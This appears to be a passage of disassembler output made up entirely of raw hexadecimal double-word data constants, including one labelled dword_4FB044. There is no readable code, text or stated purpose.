		dd 794E58C7h, 35555F2Ch, 0E952C501h, 0B22B6B92h, 7529CBDDh
		dd 0E91A779Ch, 0D7D7CFBDh, 0C02769FBh, 0B683E8EFh, 0D2DF6703h
		dd 0A4D75CD0h, 0E58758F2h, 0B0466C26h, 0A05E256Dh, 5E57CC3Ah
		dd 50028B26h, 976E165Fh, 0C2BC1675h, 6121E98Dh,	6B38A575h
		dd 0C85EE2FCh, 230C55FFh, 144D2F3Fh, 0D1574C08h, 5F567B7Dh
		dd 0E9B3C863h, 182C3625h, 9B2B27C6h, 68560ABFh,	0A5782643h
		dd 6473DE49h, 3D0F2D57h, 444C2009h, 25FBFEADh, 0E8C4FAF5h
		dd 68C00AE8h, 47293B42h, 0D40F7AC9h, 0B944CF3Dh, 76BD9180h
		dd 51300D1Dh, 0F581805Eh, 7950CC01h, 6EF76852h,	0A7F7306Ah
		dd 6048CE11h, 2CDC099Eh, 0C16D0027h, 5041383Fh,	374831Fh
		dd 295A0311h, 0CD9A58C5h, 50BB588h, 0BBDFEAE9h,	3A5815B3h
		dd 312DAB20h, 280114D6h, 3589F101h, 8326DEAEh, 0CC165159h
		dd 0B0044660h, 85A9F27Bh, 0CB70F31Ah, 0E0799461h, 485E6862h
		dd 0DC8F368Dh, 3C810B09h, 2E8B57E9h, 9985E1D8h,	74DC273Bh
		dd 8778F779h, 0ACDD4A27h, 1EEC22BAh, 0CB6AE72Ch, 5AFCD443h
		dd 16BA5864h, 5F2DEF88h, 0CBA5EEFCh, 2C07581Eh,	80C605D0h
		dd 2029C711h, 4F02A216h, 414C99AEh, 0AF67A87Eh,	80EAD411h
		dd 37B26FBAh, 0C82D301h, 31271C08h, 3BB4E44Ch, 351C2D62h
		dd 0E5EF91E7h, 7759E857h, 79A6D3A8h, 76F227h, 0FCE78101h
		dd 12263B6Eh, 6441CF05h, 43CF0569h, 6E3ECD7Dh, 0E2CF7EA1h
		dd 81EEA917h, 0C3370983h, 40BC2960h, 0A7FDBBADh, 0CE5C2003h
		dd 0F1BC53B1h, 28BC6D8h, 0E9DB7CAAh, 0CE55D45Ah, 40E0C067h
		dd 291D6679h, 8E4F368h,	0E7B6A72Ah, 162E3430h, 0D02F4EFEh
		dd 515A3271h, 13E94217h, 0C27E28F1h, 74DC57EAh,	1EC2D553h
		dd 0EF5004B1h, 0C31707E3h, 0DF69F2BEh, 2E9A224Bh, 0B254C504h
		dd 0FA938BA8h, 111BCB81h, 81809F33h, 0B436E6E9h, 0D1014F18h
		dd 0B5F51780h, 12DAF723h, 2AD9FABBh, 0B1F37BBCh, 0BBB3EE85h
		dd 141E5B53h, 43F0345Eh, 2C2539F2h, 1244C4FDh, 0A83D5982h
		dd 7509DA34h, 24270A69h, 6802559Dh, 3A636411h, 0BED585Dh
		dd 0E869C6CDh, 5FAB3843h, 0CB0C8CEFh, 15F53816h, 428327BFh
		dd 580778D1h, 0A2BC9BA5h, 0C2F6800Fh, 0EECAE2C4h, 0F1179AF3h
		dd 0D3FAECA3h, 92537CFBh, 3CEA9D5Eh, 696E4325h,	9B5CC4E7h
		dd 261ED8A4h, 2F9A4547h, 8200574h, 5F515B12h, 0F85963ABh
		dd 0FBA18D7Ch, 71AB0418h, 19F914Bh, 0E92EB01h, 1057A35Ah
		dd 90BB005h, 3CD71C47h,	4EE9713Bh, 0B35EA68h, 0C8C2CEEh
		dd 7866F6B7h, 0DDB64DE9h, 76D7F709h, 0DA728142h, 8889482Eh
		dd 0AF7583B2h, 0C2C477C0h, 0F8DB4082h, 17F90045h, 7896E381h
		dd 0E4B53883h, 0D8CB9DB0h, 0F204BA9Eh, 0A03C0E84h, 0F0B891EFh
		dd 8D2FE8h, 402B55E5h, 4512C357h, 0DEB526F1h, 9F082088h
		dd 74CB7101h, 0DAFDEA9Eh, 0C38839EEh, 2BA4D932h, 4A5E4758h
		dd 300493B8h, 806E9C51h, 2AEF61F4h, 0BAA1B85Ah,	6FE9D5CCh
		dd 9FE17988h, 3403CD7Ah, 8C09C603h, 0D44A93BFh,	0B0C581F3h
		dd 2128C9C0h, 65F8C55Dh, 0E4D03A0Eh, 4923102Fh,	5A129730h
		dd 0FBF846A6h, 9920124Fh, 0E45D4C56h, 0CB4B1371h, 0E29B012Ah
		dd 0D847D848h, 4AEC6AF7h, 1FE91709h, 9002EE63h,	29930B4Fh
		dd 115815B9h, 5E16A35Fh, 27488BAEh, 6233DC50h, 0A25F8D75h
		dd 0B3A7FBCh, 1B8E82F5h, 0E5A5A07Bh, 5ED8058h, 0F6516682h
		dd 76B2FA54h, 596CBA41h, 6DCE8001h, 0ED02EEC0h,	3B3F7526h
		dd 4123C50Eh, 0DD317546h, 5C58D223h, 5A26D136h,	0C175B12Eh
		dd 45BDA016h, 9195CDDEh, 78A06B16h, 50540FEEh, 2EA464B0h
		dd 3235ABB7h, 6C80A5FCh, 48174E26h, 684B9304h, 20B316D3h
		dd 0C8761F13h, 5B5A589Bh, 290679BBh, 0B8469813h, 1666C96Ah
		dd 0E91168D5h, 980295E0h, 96FD5D54h, 94D597FCh,	20E918C7h
		dd 0C15916ABh, 0DC05E52Dh, 9C173E13h, 53369179h, 9E0F0461h
		dd 0D5E697F4h, 37A7DA12h, 0BCE184A2h, 86BA3D81h, 1069CDEh
		dd 4F8C5952h, 6875024Bh, 0BD0F12E0h, 5F9561A5h,	9DF9968h
		dd 1CD4E284h, 0B18CF750h, 53598254h, 4F74BEB7h,	862182Eh
		dd 41B9D6B4h, 3F275B68h, 0CA4C2331h, 8AD0897Ah,	0EB632E12h
		dd 28AA2CC0h, 13D3FFD8h, 0E0FEA166h, 5582AC61h,	0F52D237Bh
		dd 5177FF92h, 39716924h, 5EAC52E9h, 6032E5BEh, 423B0168h
		dd 46E20309h, 6BA52Ah, 47127B18h, 0D1DAF75Ah, 6CC50BDh
		dd 2EB64EF0h, 85C1D842h, 589EC380h, 1205089Fh, 0F4B550ECh
		dd 55FA84Ah, 398C378Bh,	0EC70BB0h, 16150D2Ah, 0C54240DEh
		dd 0FD21C4D0h, 342F27B0h, 0B4927D82h, 0C996768Eh, 6008C909h
		dd 7C5E0C5Dh, 72BF6545h, 49BC6995h, 69741889h, 0BAB7DF20h
		dd 58628B25h, 0B953BD41h, 2876B002h, 2D2866C3h,	0A15A9AE1h
		dd 0B7377295h, 975AC19Ch, 0BF614B4h, 231817BCh,	0A37F7B04h
		dd 0F4D5107Dh, 5EAC109h, 5929EF80h, 2179021Fh, 0FA07959Ah
		dd 1FDEFB6h, 218F75Bh, 0E84EA5E9h, 0A86464EFh, 8904A404h
		dd 0A6EF866Fh, 4C03421Fh, 0A7E94E69h, 9D90113h,	8214D569h
		dd 13F0C09Fh, 0E9440923h, 0F1C4CCCBh, 8428FE5Ch, 0BA00651Bh
		dd 24D400Dh, 0C78C829Dh, 2A445529h, 4499D327h, 0BDDE950Dh
		dd 0B592CB50h, 0CF5E9714h, 5A12482Ch, 0FC553D44h, 79972B85h
		dd 4909883Eh, 0A1F65B13h, 9466A118h, 444AF568h,	5E333F30h
		dd 0B52F48D4h, 0EC617009h, 82D68404h, 0C056A51Dh, 873FB72h
		dd 6804A086h, 8D82FDFh,	0E1A7BF3Bh, 5B3572E0h, 0EF5C8C64h
		dd 5D09731Fh, 3D1B2Bh, 1A655096h, 0EAEEB03Ch, 76F12714h
		dd 8A039FEh, 0EB335F32h, 5B79C957h, 764887E9h, 694B6E0Ch
		dd 1D78D2C9h, 0AC4EF7BCh, 0EFF39579h, 9553C8EEh, 0DE50F81h
		dd 4D4B271Fh, 23152AA1h
		dd 5F827F07h, 0E9EC403Bh, 81E5C064h, 4A68B5C9h,	692F3D7Bh
		dd 64A2A2A1h, 0CD800087h, 0D598F616h, 4F95234Dh, 3FB986F8h
		dd 0E98508E9h, 0EC2A077Bh, 4BC233D3h, 3A8965D9h, 0B5D022D0h
		dd 29920B52h, 751A5AD5h, 0F402A25Eh, 0F512B14Eh, 0F10BA04Ah
		dd 0F195D02h, 5EDA0102h, 0EACE59F8h, 2B20DF52h,	0B55102AFh
		dd 2AF58033h, 53C36077h, 76EA76B3h, 0F2CCF9EBh,	0E1FE9520h
		dd 0DCF0EDC4h, 26689C39h, 63706312h, 0A59C627h,	0B981E852h
		dd 18DE2EA6h, 782C21E9h, 8049BD1Eh, 0F5813A5Ch,	0F84F6814h
		dd 73D06F87h, 4EF765BBh, 0E8EBB4DDh, 66BC5FF6h,	0FBE85D13h
		dd 96BC684Fh, 948C1C5Eh, 446E4BD9h, 12C3891Eh, 4E60F7FAh
		dd 0FF5E78DBh, 62FEAA21h, 0FAC26801h, 7D4BFAF3h, 0E8A66C65h
		dd 29409F18h, 8E194DFh,	5B139848h, 0B3C197EBh, 0AE84264Fh
		dd 7FC564B2h, 0FBDF943Eh, 69B6D241h, 78F8C1F4h,	0DAC2AABDh
		dd 904B20D4h, 50C75C95h, 0FAE6E225h, 0F4682209h, 5728B00Dh
		dd 7825274Bh, 8529870Fh, 0ADACF4D9h, 0E87A4142h, 2C234969h
		dd 0B2D270Ah, 0D052AE4Eh, 0EB810601h, 35FB603Ch, 0FC70177Ah
		dd 6C36B18Bh, 0B647C004h, 77609865h, 0FB2EC7DCh, 0F1293467h
		dd 5E080B38h, 0B126E2F6h, 3BE40501h, 3C6139B0h,	60718D6Eh
		dd 1CBE33D2h, 0C2E3D425h, 12DA55BBh, 18772C27h,	12A3B9F0h
		dd 0B85BCA21h, 0D819106Eh, 4BEA8001h, 0B5D2F658h, 4B051004h
		dd 0A6FFA7D4h, 0C1599A1Eh, 0B505F5DBh, 3041CCE8h, 0B487435Ch
		dd 28090580h, 9E424CC2h, 30089468h, 0B013AA3Ah,	2CCA1CCDh
		dd 96870804h, 0CDABACF4h, 61A3E4A9h, 205A78CCh,	9968F599h
		dd 20EEB2D2h, 4CBA02B5h, 16D5729h, 540DFE83h, 0AEC29503h
		dd 6210724h, 8A30E674h,	0D92727C5h, 8FA5B969h, 64EBC3h
		dd 657EBF7Fh, 4F471136h, 5D0115B0h, 0E9F88DB9h,	326B8042h
		dd 8B776A0Eh, 2C731820h, 0E0C03CD7h, 34D8F607h,	0C236D56Ch
		dd 0EC747ADEh, 623ED83h, 339010C7h, 1CBF1A42h, 8263858Fh
		dd 84D77ABDh, 0DABDAFF4h, 10A88EA4h, 592D886Ch,	0AAF6FC64h
		dd 27680340h, 57590D6Eh, 6FB4E693h, 0D0905CABh,	3E31AD93h
		dd 8E6D265Fh, 9DAA5B92h, 38C57829h, 45341107h, 5E9EA959h
		dd 0E9D7C2DAh, 8101642Eh, 87F4F8C6h, 0CF6AC05Ah, 2953564Fh
		dd 81CFE68h, 14031C34h,	5F9F95E9h, 8E5EAC9Dh, 6201D6D1h
		dd 1AEC4EA7h, 0E9FBE0F2h, 2D6564E4h, 49B1ABEFh,	0A0ABEA04h
		dd 21F9295Ah, 2E177B36h, 688F60ABh, 0C19660A4h,	82504963h
		dd 0BD40570Eh, 251EF005h, 0E81D6A02h, 2B552DC1h, 13F41FADh
		dd 18DD2C06h, 603202E7h, 0C477748Eh, 44812711h,	56669CFCh
		dd 0E4800BCh, 0EE894212h, 7469015Dh, 0D5210B2Eh, 14011732h
		dd 80A43CE9h, 6EE8BEB8h, 0BC89736Dh, 94D00B64h,	0F9F058E4h
		dd 0F3D0954Ah, 9914F7h,	67E0357Fh, 52050E89h, 2C216D12h
		dd 0E49E96AEh, 2DA80F9h, 0B3ACEC35h, 92E9167Ah,	7F99FBE3h
		dd 0F6788DEDh, 0B53C9D40h, 72250953h, 139B2554h, 7A4B3A0h
		dd 0EDA04E5Ah, 610B5E62h, 7CB9E93Fh, 1EFF2583h,	0E8F254FBh
		dd 7D81975Eh, 3E4DDD68h, 0EA4B068Ah, 0ED4E668Fh, 8E098EEh
		dd 9A3E25E9h, 0B0390072h, 7C02AEC0h, 32599E20h,	523A75C8h
		dd 20BFF65Fh, 4771A8EDh, 0D88B178h, 61658F27h, 6D76E1F6h
		dd 35C10F87h, 59A80D7h,	58B118C6h, 2D280D26h, 78597607h
		dd 7F0A3D51h, 965DC184h, 385BD177h, 0E5C00060h,	7B86B806h
		dd 0DDC92703h, 0EABB39FDh, 7864E2F5h, 0FAB03BEh, 0AFBF55D4h
		dd 4BB0B4Fh, 0AA5FF808h, 0D7DF72A2h, 0AE1F44C6h, 2EAD3559h
		dd 166A210h, 5F1C2BBFh,	4E802952h, 0FDEA4335h, 0C12C2127h
		dd 0C81D8C58h, 0CF50570Eh, 686642F1h, 0CBEC108h, 0BA74162Eh
		dd 78A74981h, 7C50316Bh, 548C3B90h, 2A8795EDh, 0D0CFE445h
		dd 1518BB5Bh, 8148BE00h, 0F778CBE3h, 0E4B052h, 2D5D1FBh
		dd 74E9DE31h, 0F0DB9654h, 346A5578h, 4E1394F7h,	0FF2BC0A1h
		dd 0F16F8739h, 6A896E8Dh, 5AA4F86Ah, 4A3FA3F8h,	4F70284Fh
		dd 0ABE4444Fh, 0CE3D1409h, 8709801Fh, 5850AF0Ah, 21CD79Ch
		dd 0DA04EDC9h, 158B3D62h, 65680A89h, 8F176E66h,	72973042h
		dd 0F26878DBh, 0B0DAF6D3h, 0D9B8546Bh, 0B3075A02h, 1CAB1030h
		dd 0ECAEE9C5h, 0C0FE07E2h, 1694B104h, 0FE2C12EFh, 68CE41A2h
		dd 30C640EBh, 442C3E25h, 9A8AF007h, 0F25C4F42h,	93E3390Ah
		dd 0E2017364h, 8C9BA921h, 2AE94160h, 92FC7055h,	5FE790B5h
		dd 3E832696h, 4945E000h, 3DCE8119h, 2C692F26h, 1CAB5Fh
		dd 11ECF6D5h, 1E1F5B1Ch, 0FF7C03B2h, 0D04EF094h, 2664109h
		dd 0E17553BBh, 4151FA3h, 0D8266C00h, 441FEDEBh,	0A64B0578h
		dd 221EC8AEh, 56BF2E54h, 0A155AFD6h, 5C7A686Fh,	1216B62Fh
		dd 698445E9h, 2DBCAAECh, 87305D6Eh, 72BE0D75h, 705F50Ah
		dd 4276853Ah, 79811834h, 2F4BEB98h, 35A7533Fh, 0D7014E02h
		dd 0F54A4564h, 459418C4h, 2F68CFEBh, 9F9D9101h,	0FC9A162Eh
		dd 310805EFh, 0E9802035h, 5FF15A1Ah, 0C1068077h, 173A30D1h
		dd 2673CD2Bh, 5DA54F36h, 20FD74C1h, 519FCD82h, 7A90BC1Bh
		dd 0DE05F62h, 0B9C340AFh, 82170604h, 0E3EE496Bh, 3E6D01ECh
		dd 505F71CBh, 85C3E68Bh, 0CF020DCAh, 0BF843BF6h, 5067FADEh
		dd 6D7FE0C0h, 0B9314E69h, 0BD019656h, 71086C84h, 8911696Ch
		dd 7F154331h, 0A2AD37Fh, 596F62AAh, 182989B8h, 0E0FCB3A8h
		dd 78D2F9D8h, 0AFB801B2h, 896D8854h, 290E3BC5h,	92774551h
		dd 1795DC02h, 0EF76C080h, 562D8363h, 579C4226h,	1BE4FCFh
		dd 6E253786h, 7C6521E9h, 0DF66EA2Fh, 4B0E03E6h,	0C5016111h
		dd 8B083640h, 0E5A2044Fh, 0DD29E9CFh, 53609D64h, 0BB6B4078h
		dd 3160EF37h, 0BC411E1Bh, 23F24072h, 5BE90A7Ch,	22F099Eh
		dd 7D5F0Bh, 927E65B9h, 0CAB1374Ah, 97939420h, 0FA269F94h
		dd 0E402BC5Fh, 0F6D4BDFBh, 0C15C2F07h, 0BD26B126h, 0BE048F10h
		dd 87645FD3h, 80588B86h, 71F956BFh, 21903A26h, 30E51FC7h
		dd 0DF0CE20Fh, 3F7C0A5Dh, 82D4EF03h, 0D557223Ch, 0B5910AAEh
		dd 1322A47Fh, 843FB277h, 3219B0B9h, 5C238339h, 8F4FDFF7h
		dd 557912A2h, 0FF72645Eh, 7D7C92A2h, 809C0403h,	12B252C8h
		dd 0DF280CEh, 60DD69C6h, 6D13A88Bh, 8B56A2Dh, 0D775A76Ah
		dd 512F198Ah, 0E080D9C5h, 0B90B7E46h, 4C81E420h, 52207CF4h
		dd 499A2500h, 6A053D74h, 2CDF71FFh, 255AC289h, 24E5C4DFh
		dd 698DF9AFh, 0B0D6A484h, 0EE26B48Dh, 8D08EC88h, 51B9015Bh
		dd 3408D659h, 122C5D1Eh, 7C018E74h, 41119C0Dh, 0EE571B9Dh
		dd 0F6F1011Bh, 3E69245Ch, 788DD317h, 0F7BEE83Ah, 37BE1415h
		dd 0F0259508h, 0A6CD287Bh, 0F602068Ah, 3CF6D9C4h, 40E0A116h
		dd 27DC68E9h, 587C765Fh, 909DDF20h, 0B65B493Eh,	5A51247Bh
		dd 52E38915h, 0AF3AC55Fh, 0E92D78D8h, 0BD3841A5h, 3FF7E56Bh
		dd 0BEA835D5h, 0A75EE9B8h, 7759E082h, 68726BC2h, 7CDD1425h
		dd 72F77282h, 39BD043Eh, 0C3779E55h, 0D0C3509h,	20A617E9h
		dd 0A15C9705h, 9D081E27h, 77AD8051h, 0ABC816A9h, 6813535Bh
		dd 0D1FD529Dh, 7598A0A1h, 8205780Eh, 18C23062h,	0BF81F6AAh
		dd 6017A52Fh, 3E000BE1h, 5255671Dh, 4C7A9A68h, 161C7BB4h
		dd 35533845h, 21FB84Bh,	717A0BB4h, 0AFF2414Fh, 0FE010F89h
		dd 9F88C65Dh, 4E3FDD40h, 0D1F77812h, 3DE14000h,	0DE251B67h
		dd 3C3E2612h, 0EFDD7716h
		dd 5D222F04h, 0AAC4B2ECh, 0D626BCC7h, 0F9104EE6h, 76B57C60h
		dd 0DBB2143Bh, 16D5F327h, 0A7FC9509h, 0AD25C6D1h, 698FA13Fh
		dd 0DA2096DBh, 0BD9970E9h, 2D3FC5C7h, 0DE330B20h, 0A1B5787Ch
		dd 0C99274BDh, 9981D16h, 0BF70DE3Fh, 0DCF29A37h, 18F9770Dh
		dd 9D322F82h, 0F3D3C13Eh, 60FB0745h, 4199C709h,	5776792Dh
		dd 16087A08h, 18DDAB5Bh, 0C7EC88ADh, 3054BF0Ah,	0F8098FFAh
		dd 0F260FE27h, 0DF96B874h, 0E954DD60h, 2F6C59FAh, 1653F004h
		dd 7B0D8074h, 694AEE67h, 24E9B1E4h, 0C47DF2BFh,	59F2FE5Dh
		dd 13D75884h, 3D9F0FBBh, 3AED9116h, 0D8DF736Ah,	242F4D70h
		dd 1D3A6833h, 0EB7D279h, 2DDC8474h, 30F09C7Dh, 0FBCD4ACDh
		dd 1004BA5Fh, 317DEF22h, 3FF8A1FBh, 0FB2DD200h,	0B735F963h
		dd 0FD892F00h, 1629685Fh, 0EDA0863Bh, 1F7E5005h, 0BF420Eh
		dd 0F90A5B1Fh, 50B5D389h, 6E883C83h, 0C605CEC8h, 8241668Ah
		dd 0DE7C9A58h, 0A452593Ch, 0FFA3850Dh, 0B58773D8h, 45B3C748h
		dd 781E23CBh, 0B6579592h, 0F121244Ch, 83B442BFh, 4571D5h
		dd 103D5AE5h, 5F97EAC1h, 0E9A2EE2Eh, 67D6F138h,	4099BEE0h
		dd 10200C2h, 3A2D5EF0h,	9A4A6795h, 5505D3F8h, 0EC1EE268h
		dd 5875E63Dh, 0FC4FD968h, 8B601034h, 0FED8F712h, 69519A0Fh
		dd 0FC2A5588h, 12F8027Eh, 637F17D9h, 0A104D202h, 0E9C1590Ah
		dd 0F76FB06Fh, 0CF6D7EBDh, 0EB7D6DA4h, 0AB10758Eh, 12374C77h
		dd 31FE9C30h, 53734786h, 76C85158h, 784BC928h, 0E97EDCEAh
		dd 5A680B4Dh, 0FF7864BBh, 23EA1181h, 0E690237Dh, 0F6007020h
		dd 58E788D4h, 0CEBAEF80h, 0C7CFAA06h, 4F7425Eh,	7DE2F928h
		dd 37525A69h, 0D0941796h, 0DEC8DDF8h, 30544A8h,	5717F456h
		dd 0FCF1A785h, 0B114F86Eh, 53015685h, 0FBAF5455h, 5F5BD049h
		dd 2902D27Ah, 65A305C8h, 0E9ADE360h, 1B744993h,	4D060F6h
		dd 5206E0C0h, 3041B60Fh, 0C188A6F0h, 31F139DEh,	5084C989h
		dd 0A7811F84h, 473D12h,	912638CFh, 0B9D7F703h, 1373CAC1h
		dd 512BC0Dh, 19A059C4h,	16006FC5h, 2809D8E5h, 0FDE9300Ah
		dd 4B62BBF3h, 521A3705h, 860B5A53h, 0E56B5484h,	0D5E0E45Dh
		dd 2CEF7C4Fh, 0EB4D01E0h, 0FB2985C6h, 52B1B781h, 4FE945F8h
		dd 0DD2E93E4h, 8EEAEDBAh, 5A063ED5h, 0BED1C002h, 642687DDh
		dd 7D02732Eh, 43304D66h, 8EC4094h, 5C79BF5Eh, 141102C9h
		dd 6BCA68C5h, 3DEC2Bh, 24FCF681h, 3E92322h, 0A4D25D4Fh
		dd 3DFE5505h, 0A20E7E80h, 90404851h, 2D04C0C4h,	444EDCA5h
		dd 0F7C5092Fh, 26C064A9h, 0AF3AEE81h, 0C1646E6Eh, 705EB549h
		dd 21249068h, 2E88097Ch, 0F9566DCAh, 2F296Eh, 0EE800511h
		dd 53660E1Eh, 0DE0B65B3h, 286421F9h, 0A2AC2484h, 508DBF10h
		dd 379E7FBh, 4B216E2Dh,	7AE0B9B8h, 0E3244369h, 0EE421742h
		dd 88F86C25h, 6C1D0DDEh, 90DC3E4Dh, 0A2C65A3Ah,	218737D8h
		dd 285709C3h, 20B75B18h, 58528D22h, 0B608D6F1h,	9FCD8129h
		dd 2B09DF38h, 398E7743h, 6842BC2Ah, 0BA77020Ch,	55E762AFh
		dd 0F6AF5EEDh, 8BB2CE98h, 54991067h, 3702BB3Bh,	0DE29F1E1h
		dd 1A02A1F1h, 0F22F5225h, 3E651C8Eh, 3D10A896h,	0F0B077Bh
		dd 0A2C67429h, 28420C83h, 0BC50281Ch, 6A39FC30h, 2CEB1EB8h
		dd 0B0150560h, 6738082Fh, 0B490AA51h, 0C215611h, 0B9485E58h
		dd 0D8E29507h, 0E9EC71DDh, 0EF8EA01h, 4AFB20EBh, 45B9C05Ah
		dd 3DE8A8D6h, 0FC3F41CFh, 1058A08Dh, 83428A04h,	0ACB371FFh
		dd 0F9E60877h, 21EFB13Ah, 0BF2B47B7h, 0B6E18E17h, 811055E2h
		dd 4F4E5268h, 40ACC8CCh, 0F7048101h, 6A107B7Eh,	0FEC95A91h
		dd 7159402Eh, 0F754D043h, 0CE49D124h, 7D13771Bh, 0DD3F12E8h
		dd 8F1EF4Eh, 2DAB0805h,	14F06F42h, 40D80B05h, 46012217h
		dd 3EFEE952h, 0A058C90Eh, 8EEC0C6h, 927AEA80h, 9DD0E0B4h
		dd 6A144091h, 0DEAF0C0Bh, 0A2FE272Eh, 6C79905Ah, 7DF8257h
		dd 0A88368CFh, 52F5B059h, 9D602584h, 7F51E8DFh,	23E63C6Bh
		dd 841A2CDh, 4D9C8200h,	0FD1C5A92h, 0CEBB2C29h,	758460A5h
		dd 3DC04C5Dh, 78D6C906h, 0DB0D1956h, 0C742861h,	4803DCCCh
		dd 25EFA91h, 495968E5h,	0D7FF1A55h, 0F92961C8h,	0BAE2B3BDh
		dd 4F76576Fh, 58D6F4CBh, 5D703A68h, 0C93F7E97h,	23992006h
		dd 46731527h, 0F8D02FB3h, 68E9AE74h, 9D701958h,	30C695A2h
		dd 33BF8C74h, 7A264F13h, 8E393123h, 3362B9D9h, 0C7881C6Bh
		dd 0DC04FA96h, 6609AA28h, 0AEA40843h, 295AA491h, 4077F207h
		dd 45200E1h, 0BB5D12ABh, 0EC20CFB2h, 3AC2814Fh,	3CD05DBDh
		dd 6110D95h, 2FB4FDh, 0E249BFBFh, 8E983213h, 0C5547A40h
		dd 5268AD8Ah, 9CF4FBA4h, 0C331005Ch, 20E9BF57h,	5077395Fh
		dd 0B00A239Eh, 0E701EB13h, 360B5233h, 127B8330h, 435C4Fh
		dd 307683A1h, 1B35E96Eh, 9AE6BDFh, 385685B5h, 0CB033D83h
		dd 0D43C3A5Eh, 29F7EF80h, 9560E9FDh, 57FC26D7h,	3C636207h
		dd 1CF76246h, 0E258C5A9h, 5ED04B5Fh, 275320C3h,	5BF61867h
		dd 0CE1E4A12h, 19DD6544h, 0EAB6E0EEh, 0D9BA554Eh, 4BF0BE1Fh
		dd 0DDF50C00h, 5FA1E96Ah, 2E4B8D63h, 6E2679EFh,	0EB4464DFh
		dd 24DB5A53h, 0E0C0AAC4h, 9602F547h, 3B47284Ch,	0E2026DD3h
		dd 1F057CFFh, 0C902CFD6h, 58C14404h, 0BBF4DF59h, 0C107E39Fh
		dd 0EF6A35F3h, 31E0DB2Bh, 654C1FC4h, 415405C8h,	77D16274h
		dd 0D93B1A16h, 0BED4E8DCh, 0EB102195h, 5EA59C28h, 0F2128A7Ch
		dd 2710BFAh, 0B8352E85h, 29688296h, 546DA743h, 0E4F996CEh
		dd 0EA4BFF2h, 2CD0FFC6h, 0C49E45E9h, 0C430E217h, 0A780FAA6h
		dd 95A123Bh, 2F55E97Bh,	0B9486B79h, 0E5AB8713h,	47D348A2h
		dd 0BA195F97h, 5B0F2B57h, 7F34C446h, 540A1DD7h,	95D2F252h
		dd 642FA574h, 428F19B1h, 627D5E38h, 0BCC85B06h,	0FE5979CDh
		dd 13706127h, 3F895FFAh, 1CE4FB0h, 2C9F0690h, 6D10F9E9h
		dd 0DD25B3h, 45E82DEBh,	0A82E5F08h, 0E654257Eh,	0DA2332C3h
		dd 0FE8A2126h, 169E0388h, 0B9F16CA7h, 96EC6F9Bh, 8FBB53C0h
		dd 0F8B7A954h, 2C6E0968h, 28FE3FD9h, 5B1308A0h,	0A608F529h
		dd 8D6805AEh, 30888D27h, 914AE0AAh, 54268E8Ch, 0F449F78h
		dd 4911143Fh, 16582A64h, 50D6AB8h, 7AA64834h, 0DD4F9522h
		dd 847B60Bh, 951B30A4h,	4CC0B023h, 0FC444B6Ch, 386981D4h
		dd 1E8245AFh, 32CC1352h, 0A7488E40h, 3484574Bh,	0F9910712h
		dd 0EF0454ADh, 0ACC23B84h, 17AC5E96h, 0E2CABE5Eh, 2F6852C2h
		dd 0AAEAA1F8h, 5412F8B6h, 42A09ABBh, 18134C0Ah,	3C411707h
		dd 0EB2AE106h, 8CA5E76Dh, 0DDA6095Fh, 8C52D0Eh,	0B8DCC013h
		dd 572712C4h, 28F95Eh, 151843BEh, 5B5A1CE9h, 5EFB9053h
		dd 0E05E67E7h, 18F57BCBh, 4F580B21h, 16C63BC0h,	97E7C2BDh
		dd 4D01B38Bh, 700D7929h, 7A22DD0h, 0E3448B5Ch, 0A94E96ACh
		dd 0C233897Eh, 6572F5E8h, 1A5C679Dh, 0C1167B1Bh, 68CF7997h
		dd 0E1F917FEh, 3C2DD577h, 0EB800FAAh, 0A97BA695h, 5F5B4C10h
		dd 15E78662h, 2B6FB076h, 0C553A96Eh, 0E788B77h,	4B09F46Dh
		dd 575C9263h, 2BDE88EAh, 0C4AD6B12h, 5E2F0232h,	0BFFE647Dh
		dd 418AC8A6h, 76F1BB3Dh, 4D5134Ch, 4CB35672h, 5A7CCAA0h
		dd 2349E053h, 2C24B392h, 0DF2555A5h, 0AE22A9EFh, 4CE9530Ch
		dd 2D501E41h, 8CF4ADB4h, 0F4F0A639h, 42A9AA18h,	9D7C971h
		dd 781F7257h, 0F3CB259Ah, 125F9ED2h, 0B3BE8AC5h, 0B0F2CE51h
		dd 0FA0E144Ch, 0C85E797Fh
dword_4FB044	dd 502526FCh, 0C65197A9h, 80C18607h, 0F3530123h, 0A1BEECCFh
		dd 4F4A90C6h, 43C78009h, 0B6EB184h, 0F1E6FF53h,	4B74DBB7h
		dd 0AB3E8005h, 67683F99h, 25CA6882h, 8621C757h,	0A36F5E9h
		dd 2053ECBDh, 7597B457h, 3CF1FABBh, 3A617F68h, 40C66377h
		dd 244713CAh, 1E440994h, 0B1BB7906h, 0BA88BC12h, 983BA546h
		dd 77BB1EE1h, 0B822D61Fh, 0DBF716F4h, 1E8EE801h, 0CD405914h
		dd 0EF25280Bh, 13199870h, 0F81D0C17h, 0A56712C1h, 3657751Dh
		dd 0C8C9F1A8h, 69E52307h, 57323A21h, 0D8F830F8h, 202621E7h
		dd 199AC7ADh, 0F970E895h, 3191B77Eh, 6B15E542h,	3609FD12h
		dd 83C1F5EDh, 2CF8F556h, 0D4B85A51h, 3E4D3586h,	0EBA9F697h
		dd 0C2E345FDh, 0FFDE4A3Ch, 0F502E8ACh, 0F8D546EEh, 9B4E2F0h
		dd 0EA8938E6h, 0C626ADE5h, 3E102004h, 3030FFAh,	0FE30BF24h
		dd 5CE97602h, 72E8593h,	76D95987h, 1E93BFD0h, 8BF9AD78h
		dd 5CDCC1Ch, 0EDC062B5h, 3D248206h, 77251076h, 61914F96h
		dd 0DC9BD232h, 0B18272F9h, 997EB5ACh, 6439EE80h, 0FA5D7C02h
		dd 0BD54700Eh, 55656BF9h, 0B5DC5C2h, 0E8A482FDh, 0C3C56166h
		dd 2E31B56Bh, 48DBBC82h, 55052C4h, 29B244B0h, 8165EE30h
		dd 0EC7786AEh, 0E9F5AEAh, 521F1207h, 0B1514780h, 0B9D8E98Dh
		dd 1E5160Bh, 410CC549h,	6BFC207Bh, 69372D0Bh, 0EDDE8042h
		dd 0C358DB56h, 1D62341Ah, 6B8980C4h, 0B917B09Dh, 0B780D501h
		dd 48A67673h, 34172637h, 3B0E7D8Bh, 55510E92h, 5844D859h
		dd 5F0F8BBBh, 0E98EA5EDh, 64FF8D89h, 0E13AE889h, 0B054BD7Eh
		dd 9587E2E9h, 25C93B3Ah, 0F2A98118h, 73301CFCh,	25D3A62Bh
		dd 5D8642F5h, 6850C071h, 31114F79h, 10825345h, 2FE1B6C2h
		dd 0D42F7ECh, 0B3332055h, 9DD3F651h, 94AD3A43h,	11AE0619h
		dd 817B5466h, 22588577h, 0E9F10949h, 0C624DDBFh, 17DFCE8h
